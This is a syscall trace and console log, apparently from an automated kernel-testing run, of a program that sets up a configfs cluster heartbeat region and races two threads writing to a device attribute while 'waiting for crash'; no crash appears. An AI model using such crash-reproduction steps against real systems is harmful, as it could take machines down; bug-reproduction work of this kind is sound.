[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5857] write(1, "[+] configfs mounted or already mounted.\n[+] Created mycluster.\n[+] Created mynode.\n[-] Failed to wr"..., 819 <unfinished ...>
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5857] <... write resumed>) = 819
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5857] exit_group(0 <unfinished ...>
[pid 5872] ???( <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5857] <... exit_group resumed>) = ?
[pid 5872] <... ??? resumed>) = ?
[pid 5871] +++ exited with 0 +++
[pid 5872] +++ exited with 0 +++
+++ exited with 0 +++
[ 71.820194][ T1374] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.822379][ T1374] ieee802154 phy1 wpan1: encryption failed: -22
TestError:]
|
| 169/3 |
2026/09/04 20:56 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 61.683357][ T33] audit: type=1400 audit(1788555259.586:203): avc: denied { transition } for pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.690905][ T33] audit: type=1400 audit(1788555259.586:204): avc: denied { noatsecure } for pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.697902][ T33] audit: type=1400 audit(1788555259.586:205): avc: denied { rlimitinh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.704132][ T33] audit: type=1400 audit(1788555259.586:206): avc: denied { siginh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 64.085305][ T33] audit: type=1400 audit(1788555261.986:207): avc: denied { write } for pid=5827 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.124375][ T33] audit: type=1400 audit(1788555262.026:208): avc: denied { write } for pid=5830 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.194924][ T33] audit: type=1400 audit(1788555262.096:209): avc: denied { write } for pid=5834 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.238075][ T33] audit: type=1400 audit(1788555262.136:210): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:41941' (ED25519) to the list of known hosts.
[ 64.577197][ T33] audit: type=1400 audit(1788555262.476:211): avc: denied { mounton } for pid=5846 comm="syz-executor240" path="/sys/kernel/config" dev="configfs" ino=1116 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 64.586101][ T5846] audit: audit_backlog=65 > audit_backlog_limit=64
[ 66.835840][ T33] kauditd_printk_skb: 76 callbacks suppressed
[ 66.835849][ T33] audit: type=1400 audit(1788555264.736:286): avc: denied { write } for pid=5867 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.917912][ T33] audit: type=1400 audit(1788555264.816:287): avc: denied { write } for pid=5870 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.039560][ T33] audit: type=1400 audit(1788555264.936:288): avc: denied { write } for pid=5873 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.117416][ T33] audit: type=1400 audit(1788555265.016:289): avc: denied { write } for pid=5876 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.221783][ T33] audit: type=1400 audit(1788555265.116:290): avc: denied { write } for pid=5879 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.304324][ T33] audit: type=1400 audit(1788555265.206:291): avc: denied { write } for pid=5882 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
